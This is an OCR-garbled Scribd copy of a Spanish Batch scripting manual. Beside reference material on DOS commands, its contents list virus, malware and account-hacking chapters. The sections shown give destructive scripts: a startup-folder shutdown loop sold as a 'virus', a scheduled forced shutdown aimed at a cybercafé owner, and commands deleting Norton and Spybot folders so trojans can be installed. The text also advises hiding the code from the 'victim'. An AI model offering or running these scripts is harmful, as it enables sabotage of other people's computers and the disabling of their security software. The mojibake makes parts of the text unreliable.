0% found this document useful (0 votes)
103 views128 pages

Manual Batch

Manual Nuevo

Uploaded by

sainzjoel511
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF or read online on Scribd
0% found this document useful (0 votes)
103 views128 pages

Manual Batch

Manual Nuevo

Uploaded by

sainzjoel511
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF or read online on Scribd
You are on page 1/ 128
echo Manual de Batch Introduccién Batch es un lenguaje de programaci6n MUY FACIL que se usa en la consola del S.O. windows. Es un lenguaje que no necesita software, ni compiladores. y en poco tiempo te permite hacer verdaderas curiosidades. Ve a INICIO, luego a EJECUTAR y escribe CMD si tienes XP o COMMAND si tienes win9x. Se abre una pantalla negra con letras blancas. A esto se le llama msdos, console, consola, linea de comandos o shell. Desde ahi puedes escribir comandos que daran ordenes especificas a tu makina. Las instrucciones que escribas aqui tendrdan prioridad absoluta en todo momento. Por ello la efectividad de este lenguaje. Sencillez, rapidez y efectividad se unen para formar este lenguaje de programacidon. Te WANAMNAWNE 22. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35: 36. 37. 38. 39. 40. 41. 43. . Crear archivos bat. . Tutorial grafico creacion bats.. . Comando HELP. . Parametros de Shutdown.. . Comando ECHO......... . Comando @echo off.. . Eliminar Archivos de una carpeta.. » AW KANG D cicsssesscuiiieess Indice ma Comando shutdown Seleccionar varios archivos bat.. . Trayectorias o paths...... . Las unidades ldgicas..... . Comandos basicos de DOS. . Comandos de manejo de archivos.. . Comandos de disco . Comandos de Red . Todos los comandos de DOS. . Inutilizar Archivos...... . Firewall Killer en Xp. . Unidades virtuales.. . Bat para hackear cuentas de usuario en XP.. Bat ejecutado un dia y hora especifico. . Bomba logica en bat... cece . Borrar un archivo o un directorio en bat. . Bat que borra archivos temporales Programa de calculos matematicos Joder Regedit y Msconfig. Cerrar Programas Contrasefia en bat.. Crear un virus.......... Virus crea archivo en un bucle. Malware que borra internet explorer y firefox.. Matar PROCESOS vcicciccicnansecmeesavecereuss Bloquear acceso a restaurar sistema Redireccionar a paginas de Internet. Varias formas de hacer un malware Virus que borra archivos de sistema. Virus para joder Windows.......... Borrar Archivos de Programas.. Abrir el lector de CDs con un ba Bat que pasa de extension .bat a .txt y viceversa. . Crear bucle en bat or Malware que crea MUCHOS APChiVOS...0..... cece cseeeeeserseseeeeeeeeee 65 . Afiadir un archivo al registro para iniciarse con windows . Malware inofensivo.......... cece . Ayudante de windows en batch . Malware que crea muchos txt.. . Batch destructor de ordenadores . Virus que borra archivos DLL... . Virus que reinicia el equipo . Creador de virus...... . Virus multifuncional.... . Agenda personal en batch.. . Programa de registro en batch . Renombrador de archivos, extensiones y carpetas. . Virus que jode el explorer............. . Malware para joder messenger... . Malware para joder mis docs, messenger y crear txts.. . Monitor de sistema en batch........ . Imitacion virus blaster en batch. . Copiador de archivos a diskete . Crear mensaje en pantalla. . Virus super destructor......... . Poniendo profesional los Batch . Malware que jode kernel............ . Comandos mas usados de DOS con sus parametros.. . Bat de privilegios de administrador en xp. . Renombrar extensiones de archivos 1. Crear archivos bat Antes que nada indicaros que se llaman procesos batch. La razon por la que a menudo se alude a ellos como bat es porque el entorno msdos requiere como maximo tres letras en la extension y por tanto los archivos tienen la extensién .bat Se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos. Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos o algun editor ascii. Al guardarlos deben tener la notacidn de nombres propia de msdos. Esto es un nombre con maximo 8 letras (espacios y \ no permitidos), luego un punto y la extension que en este caso es obligatoriamente bat. Para crearlos desde la misma consola puedo utilizar varios sistemas Sistema 1: mediante la orden copy copy con: nombre_de_archivo.bat comandos Ctrl z (se acaba y se graba al pulsar Ctrl Z Método 2 mediante la redireccién echo 1° linea a insertar >nombre_de_archivo.bat echo restantes lineas >>nombre_de_archivo.bat En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas. 2. Tutorial grafico creacién bats Bueno...voy a enseA+taros a acer archivos bats (ejecutables de msdos), tienen un cierto parecido a los *.exe, bueno no del todo, lo que tienen en comun esque se pueden ejecutar. Por ahora os dire solamente algo simple, os recomiendo que le echeis un vistazo a Comandos del DOS, ya que hay estan la mayoria de las 6 funciones de msdos, en la cual utilizaremos para hacer los bat. Basta de royos y empecemos; Lo primero es abrir MsDos (en win98) o el Simbolo de sistema (en XP) Inicio>Ejecutar>cmd oo Inicio>Todos los programas>Accesorios>Simbolo de Sistema Hay dos formas de crear el bat, por la funcion "edit" de msdos o por el mismo notepad. 1.Explicare primero por Msdos; Escribimos:edit prueba.bat, tal y como dice la imagen. WY Simbolo del sistema (Bix Microsoft Windows KP (Version 5.1.2600] ) Copyright 1985-2801 Microsoft Corp. NT USOC CRG Pt me CEL Se nos abrira una ventana en azul,esperando nuestras ordenes. ® Simbolo det sistema - edit prueba. bat = 5 x] Edicién Buscar Ver Opciones fyuda C:\Documents and Settings\PcRuben\prueba.bat firchivo Fi=Ayuda Por ahora aremos que se pueda cambiar la hora,la fecha y el nombre dec: Alguien dira que esto es de lammer, (y lo es),pero es para aprender :wink: Aqui va el codigo: echo on time 00:00 date 21/06/1990 label c: Estilomedio echo off GI Simbolo del sistema - edit prueba. bat -|O} x| Edicién Buscar Ver Opciones Ayuda C:\Documents and Sett ings\PcRuben\prueba.bat Archivo Coal) eae LS date 21/86/1998 label c:Estilomedio Pte emg Fi=Ayuda Paso a explicar cada linea; *time 00:00; cambia la hora a 00:00, puedes cambiarlo si te da la gana (time 12:45) % *date 21/06/1990; cambia la fecha al dia de mi cumpleaAtos_ , tambien puedes cambiarlo. *label c: EstiloMedio; cambia la etiqueta (nombre por decirlo de alguna manera) dec: "si nuestro disco duro esta en f:, simplemente cambiamos c: por f: PARA GUARDARLO:Le damos a Archivo>Guardar como..>y mira el menu de la derecha y selecciona Escritorio, asi lo tendremos mas a mano.SI el nombre prueba no te gusta (es lo normal :lol: ), puedes renombrarlo en la parte de arriva..PERO OJO, que tenga la extension "bat"...ejem.Manolo .bat Pues eso es todo, ya se que esto es muy simple, pero es solo una introducion... ya que desde bat se puede utilizar para infinidad de cosas;deshabilitar antivirus,apagar pc,matar procesos y muchas putadas mas que no voy a decir 2.La segunda opcion es crear un simple *.txt (archivo de texto), y poner el codigo tal y como se pone en el msdos,darle a guardar como, y guardarlo con el nombre que quieras, pero siempre con la extension bat. "ejem. yo.bat,estilomedio.bat) 3. Comando shutdown Ok escribe lo siguiente (solo para xp): shutdown -s -t 120 -c "Probando una cosa" Escribelo tal cual y presiona enter Este es el método que usa el famoso virus Isasser que se ha propagado por todo el mundo. Para detenerlo escribe: shutdown -a y todo volvera a la normalidad. Acabamos de descubrir la forma de crear un virus (algo mediocre ) en 10 segundos! éQue necesito para comenzar? Windows. Recomendable XP.. pero win9x también sirve. La linea de comandos y el bloc de notas de windows. Con un poco de paciencia veras como salen cosas interesantes!. Seguimos con nuestro ejemplo practico. Abre el bloc de notas. Escribe alli lo siguiente: shutdown -s -f -t 15 -c "Virus creado por mi!!" Ahora le damos a GUARDAR COMO. Seleccionamos TODOS LOS ARCHIVOS. y lo guardamos con el siguiente nombre: MIVIRUS.BAT Es imprescindible que tenga extension BAT. El equipo se apagara en 15 segundos!! Esta vez solo podras poner shutdown -a a tiempo si eres extremadamente rapido! Si copias este archivo mivirus.bat en la carpeta programas\inicio del windows abrdas creado un verdadero problema... Esta carpeta tiene la capacidad de iniciar en el arranque cualquier programa que esté dentro de ella. Si colocamos nuestro recién creado virus.. haremos que el ordenador no permanezca encendido mas de 15 segundos! ! 4. Comando HELP Accedemos a la consola. Si escribimos HELP tendremos una lista de los comandos basicos del sistema, con una breve explicaci6n de qué hace cada uno. Si queremos informacién mas especifica solo tenemos que escribir el nombre del comando /?. por ejemplo, escribe: shutdown /? Te saldra explicado qué utilidad tiene este comando y todos sus modificadores. un modificador o parametro es -f, -t, -a, /vv, /L, etc.. se colocan después del comando y sirven para darle instrucciones mas precisas. 5. Parametros de Shutdown Vamos a comentar por encima los parametros de shutdown: -s Da la orden de apagar el equipo (shutdown -s = apaga el equipo al instante) -r En vez de apagar lo que hace es reiniciar el equipo. (shutdown -r) -a_ Con esta orden evitamos que el sistema se apage o reinicie. -f Fuerza a cerrar todas las aplicaciones que requieran autorizaci6n 0 confirmacidn!! -c"" Entre las comillas puedes poner un comentario que saldra en la pantalla de aviso. -t 00 puedes poner el tiempo en segundos que quieres que dure el Pc encendido. Veamos con un ejemplo practico: Estoy instalando una actualizaci6n de windows que tarda 20 minutos 10 en instalarse.. y después tendré que reiniciar el equipo para que haga efecto. Pero no me apetece estar 20 minutos sentado delante de la pantalla..Tecleamos lo siguiente: shutdown -r -f -t 1800 esto hara que en 30 minutos (30min x 60sg=1800sqg) el pc se reinicie (-r) sin pedir confirmacién y forzando a cerrar todas las aplicaciones (-f) Otro supuesto: Estoy en un ciber.. y me cae muy mal el duefio. Ademas sospecho que la vez anterior me cobro de mas... asi que voy a gastarle una broma simpatica que no revertira dafios en el pc.. pondremos lo siguiente: at 17:15 shutdown -s -f -t 15 -c "De camino que vas a decirle al duefio que se te ha apagado el ordenador, dile que es un capullo de mi parte" JAJAJAJAIJAIJA!! Habria que ver la cara que se le queda al que esté usando el pc al ver este mensaje!! Hemos programado una tarea con el comando AT para que se ejecute alas 17:15h. Este es otro comando que usaremos mucho. y que ofrece grandes posibilidades. Puedes, por ejemplo programar que carge el CounterStrike a la hora que tu quieras... o que se desactive el antivirus.. (jejeje paciencia.. todo a su debido tiempo). Tengo que hacer una correccién a este pequefio manual: El programador de tareas en la linea de comandos (AT) no funciona tal y como viene lineas mas arriba. Aunque en la misma ayuda del comando viene explicito la posibilidad de insertar comandos, esto no es cierto en la practica. Tendremos que crear un archivo bat con el cédigo y guardarlo en un carpeta, y POSTERIORMENTE programarlo para que se ejecute. En el ejemplo de arriba, hariamos un bat con el siguiente codigo: shutdown -s -f -t 15 -c "De camino que vas a decirle al duefio que se te ha apagado el ordenador, dile que es un capullo de mi parte" Le ponemos un nombre que no Ilame mucho la atencién y lo guardamos en una carpeta. Por ejemplo lo Ilamaremos SHUT.BAT y lo guardaremos en C:\WINDOWS. ok? ll Luego para programarlo escribiremos directamente en la linea de comandos: AT 17:15 C:\WINDOWS\SHUT.BAT De esta manera se ejecutara sin problemas. Aqui va otra forma de hacerlo: no ejecuta archivos cualqiera,tienes qe programar para qe se ejecute un batch....es decir tendris ge crear un batch asi @echo off cd\ echo @echo off>>foto.bat echo cd\>>foto.bat echo start C:\FOTOS\FOTOO1>>foto. bat echo exit>>foto.bat at 14:13 C:\foto.bat exit y asi te funcionara. otro cddigo quiza mas facil para empezar seria: @echo off start c:\rutadelaimagen\imagen.jpg exit esto lo metes en un bat (por ejemplo: imagen. bat) Y luego programas manualmente el bat escribiendo: at 14:13 C:\rutadelbat\imagen.bat 6. Comando ECHO Mira aca va una peqefia explicacion.... echo es un "direccionador" (mas o menos) es decir como su nombre indicca, "direcciona" algo a algun sitio, ok??? esta claro,vale pues dependiendo de como se use direccionara de una manera u otra.... mira cuando qeremos mostrar algo a traves de la consola de win (cmd) tendremos ge acer lo siguiente: echo Hola 12 Pruebalo en la cmd,ya veras como aparece un "Hola", en este caso as direccionado una |lamada a pantalla (por defecto es a pantalla= COM) y lo muestra en patalla, pero si especificamos donde qeremos mostrar, 0 mejor dicho, poner ese mensaje pues ayi lo pondra, esto se ace a traves de ">>" (sin comillas) es decir ponemos primero el direccionador "echo" y despues indicamos con las flechas en donde qeremos colocarlo,asi: echo Hola>> PRN aora lo ge emos echo es dirigir el "Hola" al dispositivo PRN qe es la impresora por defecto...ves??? pues las posibilidades son infinitas....es decir puedo dirigir acsi cualgqier informacion acia casi cualqier sitio..... por ejemplo un codigo lo puedo dirigir a un archivo batch.... 7. Comando @echo off te estaras preguntando ge significa " @echo off" bien pues aplicando lo qe ya sabemos y un pelin de ingles..."echo apagado"....es decir,no se muestra nada por pantalla....eso lo usamos cuando geremos ge un codigo pasa desapercibido ante los ojos de un usuario, por ejemplo con un virus no qeremos ge la victima vea la pantalla negra verdad??? seria raro... pues con poner echo off al principio es suficiente para silenciar lo qe viene despues.... por cierto, si te interesa, estos son los dispositivos por defecto de win, es decir los sitios donde puedes direccionar un msg: Echo "CODIGO/MSG">>PRN_ (la impresora instalada por defecto) Echo "CODIGO/MSG">>COM (a pantalla) Echo "CODIGO/MSG">>LPT1 (ala primera impresora en el puerto Ipt1) Echo "CODIGO/MSG">>ARCHIVO.txt/bat/dll/doc/..../. (a cualgier archivo ge admita texto) en el ultimo caso cada linea insertada en el archivo se colocara justo debajo de la anterior. 13 8. Eliminar Archivos de una carpeta creemos una carpeta con el nombre prueba en el siguiente directorio: C:\Archivos de programa shenen la carpeta de archivos ke no les interese perder (les aclaro para despues no recibir kejas), ahora escribamos lo siguiente en un bloc de notas nuevo. @ echo off cd\ cd "archivos de programa" del /f /s /q "PRUEBA" exit guardenlo con el nombrekekieran .BAT (no se olviden del .BAT) haganle doble click al programita ke krearon y vean ke okurre... ke okurrio?? se borraron todos los documentos ke pusimos en la carpeta PRUEBA ke habiamos creado. aki explico los comandos ke hemos puesto: @ echo off (hara ke no muestre lo ke esta ocurriendo por pantasha) cd\ (esta linea hara ke nos ponga en el disco C) cd "archivos de programa" (como pueden ver aka estamos entrando en la carpeta de archivos de programa) del /f /s /q "PRUEBA" (el comando "DEL" seguido de otras lineas hara ke eliminemos un documento,carpeta, archivo,programa,etc...) en este caso dimos como ejemplo la eliminacion de una carpeta. aki vemos ke al "DEL" le hemos agregado las lineas /f /s /q .ke es eso?? /f (fuerza la eliminacion de archivos de solo lectura) /s (elimina los archivos especificados en todos los subdirectorios) /q (modo silencioso. no pide la confirmacion del usuario) "PRUEBA" (aka le indicamos a la makina ke carpeta keremos eliminar)..no se olviden de poner las comishas!!! 14 con estos pocos comandos hemos de aprender muchoo. ahora les paso otro ejemplo facil de entender. supongamos ke nuestra victima tiene el norton y se lo keremos matar para poder instalarle troshanos detectables. haremos un bat con los siguientes comandos: @ echo off cd\ cd "archivos de programa" del /f /s /q "norton antivirus" exit muy lindo todo...perooo ke pasa si le kiero eliminar el norton y a la vez le kiero eliminar el Spybot - Search & Destroy Huh pues le vamos agregando lineas a nuestro gusto hasta shegar al bat indicado. aki les dejo como seria para matar el norton y el spybot en @ echo off ed\ cd "archivos de programa" del /f /s /q "norton antivirus" del /q/s /f "Spybot - Search & Destroy" exit les aclaro ke tienen ke tener cuidado. tienen ke poner el nombre de la carpeta tal cual esta. hay otros comandos ke nos facilita para matar la carpeta pero vamos a ir de a poco. 9. Seleccionar varios archivos bat Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notacién de msdos (8 letras sin espacios como maximo, luego un punto y tres letras como maximo de extensidn) se pueden utilizar los llamados comodines. * Equivale a varios caracteres ? equivale a un solo caracter. Ejemplos comando *.cfg -> seleccionar todos los archivos que tengan la extension cfg comando a*.cfg -> seleccionar todos los archivos que comienzen 15 por a y tengan la extension cfg comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensidn cfg comando *asa*.cfg -> seleccionar todos los archivos que contengan ‘asa’ y tengan la extension cfg comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensidn cfg comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extension comando *.b?t -> seleccionar todos los archivos que tengan una extensidn que empieze por b, luego un caracter cualquiera y luego una t. 10. Trayectorias o paths La trayectoria es el nombre completo de un archivo e indica la situaci6n exacta de un archivo y su nombre. Si digo que el archivo se llama leeme.txt indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual. Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raiz de C. Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este sera reconvertido a su nombre corto. Este se obtiene afiadiendo los seis primeros cardcteres validos del nombre, luego el signo ~ (alt 126) y luego un numero. De esta forma un archivo que se encuentre en Mis documentos en win98 tendra el path c:\misdoc~1\leeme.txt También se pueden utilizar (mientras las comillas para delimitar el nombre "c:\Mis Documentos\leeme. txt" Pero esto solo vale cuando se utiliza msdos como consola (no cuando se inicia windows 98 en modo msdos) Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios 16 Esta seria la trayectoria de mimusica.mp3 c:\misdoc~ 1\mi~1\mimusica.mp3 Qué equivale a "c:\Mis Documentos\Mi Musica\mimusica.mp3" 11. Las unidades ldgicas Siempre es una letra seguida del signo dos puntos. = il disquetera = reservada para segunda disquetera primera particiédn (normalmente es la que arranca) D: = segunda particiédn (generalmente el cdrom) a= Por eso si se crea una unidad ldgica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad ldgica existente. 12. Comandos basicos de DOS CLS -> borra pantalla ECHO -> tiene varias posibilidades: Echo sin parametros saca el estado en que se encuentra la variable echo (on u off). Echo on activa el echo (como en un terminal TTY) por lo que los comandos se veran en pantalla y luego su resultado. Echo off desactiva el comando echo y ya se veran los resultados de la ejecucién del comando, pero no el comando en si mismo. Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendria que salir por la pantalla) al archivo fichero.bat. PAUSE ->Sirve para sacar un mensaje y parar la ejecucién hasta que se pulse una tecla PROMPT ->Sirve para cambiar el prompt de msdos. El mas habitual es $p$g que corresponde a $p = mostrar trayecto actual $g = mostrar el separador > $1 = mostrar el separador < $b = mostrar el separador | $q = mostrar el signo = 17 $$ = mostrar el signo $ $t = mostrar la hora $d = mostrar la fecha $v = mostrar la version del sistema $n = mostrar unidad actual $h = retroceso. Borra el caracter previo $e = esc. Muestra el signo correspondiente al asci 27 $_ = Retorno de carro y salto de linea (equivale a chr(10) & chr(13) Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible afiadir texto (por ejemplo prompt Mi_nombre $p$g DATE Ver/poner la fecha del sistema TIME Ver/poner la hora del sistema VER[/font] Version del sistema [font=Verdana]VOL unidad Volumen de la unidad especificada PATH Indica un trayecto por defecto si se produce una peticién de un archivo que no esta en el directorio actual. Por eso en windows 98 suele haber una linea en autoexec.bat que es path c:\windows; c:\windows\command que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command. KEYB cdédigo_pais,juego_de_caracteres, definicidn_de_teclado, El cédigo de pais de espafia es el 'sp' El juego de caracteres aplicable a espafia es el 850 6 437 El archivo de definicidn de teclado es keyboard.sys Para configurar un teclado en espafol keyb sp,,c:\windows\command\keyboard.sys SYS unidad Transferir el sistema operativo a la unidad especificada. DOSKEY Emular la capacidad de unix/linux de recordar los comandos 18 introducidos anteriormente mediante la flecha arriba del teclado. MEM pardmetros Muestra la memoria usada y libre en el sistema /p -> muestra por programas /d -> por programas y controladores /c -> clasifica por tamafio TS. Comandos de manejo de archivos COPY origen destino Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde estan los archivos a copiar. Si se omite se entiende que en el directorio actual. El destino debe ser una trayectoria completa de donde dejar el/los archivo(s) copy miarchivo.txt c:\ (copiarlo al directorio raiz de C) copy miarchivo.txt c:\miarch.txt (copiarlo y ademas cambiarle el nombre a miarch.txt) copy *.txt a:\ (copiar todos los archivos que tengan la extension txt a la unidad A) copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensidn txt al directorio Mis documentos (cuyo nombre corto es misdoc~1). DEL archivo(s) Borrar archivos en seleccionados del leeme.txt (borra el archivo leeme.txt en el directorio actual) del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\) del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa’ cuyo nombre corto es archiv~1 (no se borran las subcarpetas) DELTREE archivo(s) -y Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya). Con el pardmetro -y no pregunta cada vez Este comando en realidad no es un comando sino una utilidad incluida en msdos. MKDIR nombre (0 bien MD nombre) Sirve para crear un directorio Md micarpeta CHDIR nombre (0 bien CD nombre) Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria 19 completa o si no intentara desplazarse desde el directorio actual. Cd c:\archiv~1 (se va a archivos de programa) Cd .. (se va al directorio superior) RMDIR nombre (0 bien MD nombre) Borra un directorio. Este debe estar vacio. RD c:\Misdoc~1 (borra Mis Documentos, aunque no podra porque no esta vacio). DIR trayecto Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual. Si se pone como parametro /W saca un listado resumido. Si se pone como parametro /P saca un listado utilizando el filtro more. ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos. Los atributos son: H -> oculto. Se activa con +h y desactiva con -h R -> Lectura. Solo lectura con +r, normal con -r S -> Sistema. Se activa con +s y desactiva con -s A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado. Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt) attrib *.exe +r +r +S (pone a todos los archivos con extensidn exe como ocultos, del sistema y read only) RENAME o REN nombrei nombre2 Cambiar el nombre de archivo Ren miarchivo.txt miarchivo2.txt TYPE archivo Muestra por pantalla el contenido de un archivo type miarchivo.txt 14. Comandos de disco DISCKCOPY origen destino-> Copia disquetes completos. Diskcopy a: a: Copia el disquete introducido en la unidad Aa un disquete que se introducira posteriormente en la unidad A FDISK Permite editar las particiones del disco duro. Con la opcién /mbr permite borrar el Master Boot Record FORMAT unidad pardmetros 20 /q -> formateo rapido /s -> Transferir el sistema operativo Format a: /s formatea el disquete y le transfiere el sistema operativo basico de arranque. LABEL unidad etiqueta Cambiar la etiqueta de volumen del disco de la unidad label a: midisquete MSCDEX Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete). Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd mscdex /d:MiCd Scandisk unidad parametros Para comprobar/reparar el estado del disco /autofix -> reparar automaticamente errores /surface -> hacer pruebas de superficie /checkonly -> no reparar, solo chequear iS: Comandos de Red ARP parametros Modificar la tabla arp. -a-> mostrar la tabla arp -s ip mac -> agregar una entrada a la tabla arp FTP Iniciar el cliente ftp IPCONFIG parametros Mostrar las caracteristicas de configuracién de IP /all -> muestra toda la informacién de configuracién /release adaptador -> libera la ip del adaptador especificado /renew adaptador -> renueva la ip para el adaptador especificado /flushdns -> purga la caché de resolucién de dns /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns /displaydns -> muestra el contenido de la cache de resolucién dns NBTSTAT Hace un estado de la red por netbios Tiene muchos pardmetros. Consultarlos mediante nbtstat /? 21 NET pardmetros Comando para el uso de redes netbios USE \\equipo\recurso -> para acceder a unidades Idgicas compartidas. Se le asignara un nombre de unidad y estara disponible como una unidad mas del sistema. USE \USER: dominio\usuario para acceder a un dominio USE unidad /DELETE eliminar el acceso a unidad compartida. SHARE trayecto /REMARK texto -> para compartir un recurso en red START -> para comenzar sesidn netbios STOP -> para detener netbios NETSTAT Para ver el estado de la red. -a-> mostrar todos los puertos y conexiones -n -> mostrar numeros de puertos y direcciones -r -> mostrar la tabla de rutas -s -> mostrar estadisticas por protocolo -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas NSLOOKUP dominio Muestra el dominio, su ip, dns donde se resuelve y sus alias PING Utilizar ICMP para llegar a un determinado nodo TELNET ip puerto Utilizar el protocolo telnet para acceso a un servidor exterior TRACERT destino tracear el camino hasta llegar al destino especificado 16. Todos los comandos de DOS CHKDSK - Controla un disco y provee informaciA3n sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. ATTRIB - Presenta en pantalla o modifica los atributos de los archivos. COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc. DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva. 22 EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usarAi esencialmente para modificar pequeAtos archivos de texto, | empezando por los llamados “archivos de sistemaAfAtA¢a€sAnA, AL que son el CONFIG.SYS y el AUTOEXEC.BAT. FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones. FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignaciA?n de los archivos (FAT), y cargando el programa de inicio. INSTALL O INSTALAR- Carga los programas residentes, a travA@s del Config.Sys. MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make DirectoryAfA¢A¢a€sA-—A,A[ treaciA?n de un directorio. MSCDEX - Acceso a los CD-ROM. A partir del DOS 6. SCANDISK - Herramienta de verificaciA?n y reparaciAn de los discos duros, pero sA3lo a partir de la versiA3n 6.2. Aca estan los demas para los que quieren saber mas del dos ANSL.SYS - Carga el cA3digo ANSI. Interviene en el Config.Sys mediante un Device= APPEND - Indica al sistema en quA® directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que sA?lo se ocupa de archivos de comandos. ASSIGN - EnvAa el comando direccionado en un disco hacia otro disco; este A°ltimo reemplaza al primero. Ya no existe en el DOS 6. BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauraciA3n de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendiciA3n porque este comando era uno de los mAis difAciles de manejar. BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programaciA?n mAis simple que existe. 23 BAT - ExtensiA3n especAfica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los mAis conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automAiticamente cuando usted pone su computadora en funcionamiento . BREAK - Activa o desactiva la posibilidad de realizar una interrupciA3n con Con Atrol + Pausa, que permite salir de una secuencia. BUFFERS - Comando para el config.sys que determina la capacidad del bA°fer para el disco. CALL - En un archivo .bat, llama a otro .bat como un subprograma. CD - Cambio de directorio; su nombre completo es CHDIR. CHCP - SelecciA3n de las tablas de cA3digos. CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CDenlu Agar de CHDIR si quiere evitar presionar tres teclas en el teclado. CHKDSK - Controla un disco y provee informaciA?n sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria. CHOICE - Una novedad del DOS. 6. Le pide al usuario que efectAPe una selecciA3n en una secuencia A«xbatch A». CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es uncoman Ado pequeA+to e interesante que conviene recordar. COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS. CONFIG.SYS - Archivo de configuraciA?n que dispone de instrucciones propias. Este archivo se ejecuta automAiticamente cada vez que se pone en funcionamiento la computadora. COUNTRY - Nacionaliza el sistema, adaptAindolo al pads. DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes. 24 DBLSPACE - Compacta el disco duro, duplicando aproximadament e su_capacidad. La compresiA?n puede variar normalmente de 1,7 a mAis de 10, segA°n el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. DBLSPACE.SYS - Una novedad del DOS 6. Determina la posiciA3n final del archivo dblspace.bin. DEBUG - Lanza el programa de "debugging' (eliminaciA3n de errores). Debug estAi reservado a los expertos. DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DEL - Destruye uno o varios archivos en el disco (actA°a como el comando ERASE). DELOLDOS - Suprime la puesta en reserva de un DOS antiguo. DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operaciA?2n. DEVICE - Instala un driver de perifA@rico, por medio del config.sys. DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB. DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo. DISKCOPY - Copia de modo idA@ntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este A°ltimo y haciA@ndolo sobre el modelo del disquete fuente si es necesario. DISPLAY.SYS - Se utiliza para conmutar las tablas de cA3digos, vAa el config.sys. DOS - Establece un vAnculo entre la memoria convencional y la memoria superior a travA@s del config.sys. DOSKEY - Instala el programa de memorizaciA3n y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos. DOSSHELL - Llama a la superestructur a de diAilogo del DOS. Este 25 dos shell ha sido suprimido en la versiA3n DOS 6.2 ya que Microsoft considerA3 que habAa sido reemplazado ventajosamente por el AfACACa€eSARA... a€oeAdministrador de archivosAfA¢A¢aesAA, Ade ese superprograma que es Windows. DRIVER.SYS - Administra las disqueteras, a travA@s del Config.Sys. DRIVPARM - Define los parAimetros de perifA©ricos en modo bloque, a travA@s del Config.Sys. DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas fun Aciones. ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segA°n se ponga 0 no en servicio este eco, usando ON u OFF respec Ativamente. Permite introducir un mensaje que serAi mostrado en pantalla en todos los 